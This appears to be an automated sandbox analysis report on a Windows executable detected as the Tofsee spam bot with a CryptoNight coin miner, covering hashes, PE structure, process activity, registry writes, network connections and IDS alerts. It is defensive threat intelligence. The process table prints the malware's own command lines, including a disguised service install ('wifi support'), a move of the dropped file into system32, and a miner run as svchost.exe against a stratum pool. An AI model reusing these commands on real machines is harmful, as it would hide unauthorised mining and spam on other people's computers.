| File name: | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE |
| Full analysis: | https://app.any.run/tasks/4c59b836-8986-4d9d-98a6-1517e455a0c5 |
| Verdict: | Malicious activity |
| Threats: | Crypto mining malware is a resource-intensive threat that infiltrates computers with the purpose of mining cryptocurrencies. This type of threat can be deployed either on an infected machine or a compromised website. In both cases the miner will utilize the computing power of the device and its network bandwidth. |
| Analysis date: | August 05, 2019, 13:30:14 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 56A90B4F358187485666AD3432F6277C |
| SHA1: | C464F69ACC25458955EFDE64389E20EF7CA230A0 |
| SHA256: | D5DF6226505FFECB4C1900822A8CF7BDDCAA223BB5E9C1536D9D4DF896C5C154 |
| SSDEEP: | 3072:6bhvwqXRJS/WvdmeMeoRF0+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxJ:6VtXGWdmeMF |
MALICIOUS
Uses SVCHOST.EXE for hidden code execution
- cysyegyp.exe (PID: 592)
- svchost.exe (PID: 3668)
Application was dropped or rewritten from another process
- cysyegyp.exe (PID: 592)
Looks like application has launched a miner
- svchost.exe (PID: 3668)
MINER was detected
- svchost.exe (PID: 404)
Connects to CnC server
- svchost.exe (PID: 404)
TOFSEE was detected
- svchost.exe (PID: 3668)
SUSPICIOUS
Executable content was dropped or overwritten
- cmd.exe (PID: 2620)
- d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe (PID: 3748)
Executed as Windows Service
- cysyegyp.exe (PID: 592)
Creates or modifies windows services
- svchost.exe (PID: 3668)
Creates files in the Windows directory
- svchost.exe (PID: 3668)
Starts CMD.EXE for commands execution
- d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe (PID: 3748)
Application launched itself
- svchost.exe (PID: 3668)
Starts SC.EXE for service management
- d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe (PID: 3748)
Uses NETSH.EXE for network configuration
- d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe (PID: 3748)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (41) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (36.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.6) |
| .exe | | | Win32 Executable (generic) (5.9) |
| .exe | | | Win16/32 Executable Delphi generic (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2015:06:15 00:45:20+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 14 |
| CodeSize: | 96768 |
| InitializedDataSize: | 8192 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x200c |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 14-Jun-2015 22:45:20 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000080 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 14-Jun-2015 22:45:20 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x000179BE | 0x00017A00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 7.4483 |
.kdata | 0x00019000 | 0x000008FC | 0x00000A00 | IMAGE_SCN_MEM_WRITE | 4.62443 |
.wdata | 0x0001A000 | 0x000004CC | 0x00000600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.745619 |
.rsrc | 0x0001B000 | 0x00000646 | 0x00000800 | IMAGE_SCN_MEM_READ | 3.14726 |
.relok | 0x0001C000 | 0x00000670 | 0x00D57000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.07094 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.10188 | 34 | UNKNOWN | English - United States | RT_RCDATA |
Imports
advapi32.dll |
crypt32.dll |
kernel32.dll |
msimg32.dll |
odbctrac.dll |
shell32.dll |
user32.dll |
Total processes
56
Monitored processes
12
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 404 | svchost.exe -a cryptonight-heavy -o stratum+tcp://91.203.5.196:8087 -u w1 -p x --nicehash --safe | C:\Windows\system32\svchost.exe | svchost.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 592 | C:\Windows\system32\jadwubsc\cysyegyp.exe /d"C:\Users\admin\AppData\Local\Temp\d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe" | C:\Windows\system32\jadwubsc\cysyegyp.exe | — | services.exe | |||||||||||
User: SYSTEM Integrity Level: SYSTEM Exit code: 0 Modules
| |||||||||||||||
| 1048 | cmd /C mkdir C:\Windows\system32\jadwubsc\ | C:\Windows\system32\cmd.exe | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2620 | "C:\Windows\System32\wusa.exe" | C:\Windows\System32\wusa.exe | — | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Update Standalone Installer Exit code: 3221226540 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2620 | cmd /C move /Y "C:\Users\admin\AppData\Local\Temp\cysyegyp.exe" C:\Windows\system32\jadwubsc\ | C:\Windows\system32\cmd.exe | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2824 | sc description jadwubsc "wifi internet conection" | C:\Windows\system32\sc.exe | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3160 | "C:\Windows\System32\wusa.exe" | C:\Windows\System32\wusa.exe | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Update Standalone Installer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3292 | sc create jadwubsc binPath= "C:\Windows\system32\jadwubsc\cysyegyp.exe /d\"C:\Users\admin\AppData\Local\Temp\d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe\"" type= own start= auto DisplayName= "wifi support" | C:\Windows\system32\sc.exe | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3668 | svchost.exe | C:\Windows\system32\svchost.exe | cysyegyp.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3688 | sc start jadwubsc | C:\Windows\system32\sc.exe | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
170
Read events
106
Write events
64
Delete events
0
Modification events
| (PID) Process: | (3748) d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3748) d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (3720) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3720) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-100 |
Value: DHCP Quarantine Enforcement Client | |||
| (PID) Process: | (3720) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-101 |
Value: Provides DHCP based enforcement for NAP | |||
| (PID) Process: | (3720) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-103 |
Value: 1.0 | |||
| (PID) Process: | (3720) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-102 |
Value: Microsoft Corporation | |||
| (PID) Process: | (3720) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-1 |
Value: IPsec Relying Party | |||
| (PID) Process: | (3720) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-2 |
Value: Provides IPsec based enforcement for Network Access Protection | |||
| (PID) Process: | (3720) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-4 |
Value: 1.0 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3668 | svchost.exe | C:\Windows\system32\config\systemprofile:.repos | binary | |
MD5:— | SHA256:— | |||
| 3748 | d5df6226505ffecb4c1900822a8cf7bddcaa223bb5e9c1536d9d4df896c5c154.PEEXE.exe | C:\Users\admin\AppData\Local\Temp\cysyegyp.exe | executable | |
MD5:— | SHA256:— | |||
| 2620 | cmd.exe | C:\Windows\system32\jadwubsc\cysyegyp.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
34
DNS requests
35
Threats
12
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3668 | svchost.exe | GET | 302 | 216.58.207.36:80 | http://www.google.com/ | US | html | 231 b | malicious |
3668 | svchost.exe | GET | 302 | 216.58.207.36:80 | http://www.google.com/ | US | html | 231 b | malicious |
3668 | svchost.exe | GET | 302 | 216.58.207.36:80 | http://www.google.com/ | US | html | 231 b | malicious |
3668 | svchost.exe | GET | 302 | 216.58.207.36:80 | http://www.google.com/ | US | html | 231 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3668 | svchost.exe | 104.215.148.63:80 | microsoft.com | Microsoft Corporation | SG | malicious |
3668 | svchost.exe | 43.231.4.7:443 | — | Gigabit Hosting Sdn Bhd | MY | malicious |
3668 | svchost.exe | 104.47.53.36:25 | microsoft-com.mail.protection.outlook.com | Microsoft Corporation | US | unknown |
3668 | svchost.exe | 67.195.228.94:25 | mta5.am0.yahoodns.net | Yahoo | US | unknown |
— | — | 104.47.8.33:25 | eur.olc.protection.outlook.com | Microsoft Corporation | NL | whitelisted |
— | — | 91.203.5.196:8087 | — | Volia | UA | malicious |
— | — | 91.232.125.205:25 | mail.linesmitchell.co.uk | M247 Ltd | GB | unknown |
3668 | svchost.exe | 61.128.99.61:25 | mail.xj.cninfo.net | No.31,Jin-rong Street | CN | unknown |
3668 | svchost.exe | 74.6.141.40:25 | mx-aol.mail.gm0.yahoodns.net | — | US | unknown |
3668 | svchost.exe | 213.75.3.30:25 | mailin.kpnmail.nl | KPN B.V. | NL | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
microsoft.com |
| whitelisted |
microsoft-com.mail.protection.outlook.com |
| whitelisted |
yahoo.com |
| whitelisted |
mta5.am0.yahoodns.net |
| unknown |
google.com |
| malicious |
alt2.aspmx.l.google.com |
| whitelisted |
11.20.203.85.dnsbl.sorbs.net |
| unknown |
11.20.203.85.bl.spamcop.net |
| unknown |
hetnet.nl |
| unknown |
mailin.kpnmail.nl |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3668 | svchost.exe | A Network Trojan was detected | MALWARE [PTsecurity] Tofsee.bot |
404 | svchost.exe | Potential Corporate Privacy Violation | ET POLICY Cryptocurrency Miner Checkin |
404 | svchost.exe | Misc activity | MINER [PTsecurity] Riskware/CoinMiner JSON_RPC Response |
404 | svchost.exe | Misc activity | MINER [PTsecurity] Risktool.W32.coinminer!c |
404 | svchost.exe | Misc activity | MINER [PTsecurity] CoinMiner CryptoNight algo JSON_RPC server Response |
404 | svchost.exe | Misc activity | MINER [PTsecurity] Riskware/CoinMiner JSON_RPC Response |
404 | svchost.exe | Misc activity | MINER [PTsecurity] Risktool.W32.coinminer!c |
404 | svchost.exe | Misc activity | MINER [PTsecurity] CoinMiner CryptoNight algo JSON_RPC server Response |
4 ETPRO signatures available at the full report